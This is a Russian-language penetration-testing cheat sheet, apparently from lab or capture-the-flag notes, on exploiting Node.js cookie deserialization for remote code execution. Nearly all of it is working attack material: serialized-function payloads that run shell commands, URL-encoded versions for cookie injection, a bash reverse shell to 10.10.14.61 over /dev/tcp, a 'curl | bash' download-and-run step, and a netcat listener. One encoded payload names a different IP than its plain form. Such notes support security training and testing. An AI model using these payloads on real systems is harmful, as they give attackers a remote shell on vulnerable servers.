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# RCE через десериализацию Node.js
## Эксплуатация десериализации NodeJS
* Обнаружение функции, которая десериализует куки сессии.
Создание полезной нагрузки:
{% code overflow="wrap" %}
```javascript
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ping -c 1 10.10.14.61', function(error, stdout, stderr) { console.log(stdout) }); }()"}
```
{% endcode %}
Прослушивание ICMP-трафика с помощью:
```bash
tcpdump -i tun0 icmp -n
```
* URL-кодирование:
{% code overflow="wrap" %}
```bash
%7b%22%72%63%65%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%63%74%69%6f%6e%28%29%7b%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%70%69%6e%67%20%2d%63%20%31%20%31%30%2e%31%30%2e%31%34%2e%32%38%27%2c%20%66%75%6e%63%74%69%6f%6e%28%65%72%72%6f%72%2c%20%73%74%64%6f%75%74%2c%20%73%74%64%65%72%72%29%20%7b%20%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%73%74%64%6f%75%74%29%20%7d%29%3b%20%7d%28%29%22%7d
```
{% endcode %}
Создание RCE через URL-кодирование и внедрение в cookies.
```bash
tcpdump -i tun0 icmp -n
```
### RCE — уязвимость десериализации (Node.js)
Создание скрипта reverse shell `index.html`:
```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.61/443 0>&1
```
Запуск HTTP-сервера:
```bash
python3 -m http.server 80
```
Запустите прослушиватель:
```bash
nc -nlvp 443
```
#### Отправка полезной нагрузки:
{% code overflow="wrap" %}
```javascript
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://10.10.14.61 | bash', function(error, stdout, stderr) { console.log(stdout) }); }()"}
```
{% endcode %}
* URL-кодирование:
{% code overflow="wrap" %}
```
%7b%22%72%63%65%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%63%74%69%6f%6e%28%29%7b%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%63%75%72%6c%20%68%74%74%70%3a%2f%2f%31%30%2e%31%30%2e%31%34%2e%36%31%20%7c%20%62%61%73%68%27%2c%20%66%75%6e%63%74%69%6f%6e%28%65%72%72%6f%72%2c%20%73%74%64%6f%75%74%2c%20%73%74%64%65%72%72%29%20%7b%20%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%73%74%64%6f%75%74%29%20%7d%29%3b%20%7d%28%29%22%7d
```
{% endcode %}
Результат: доступ к shell получен.
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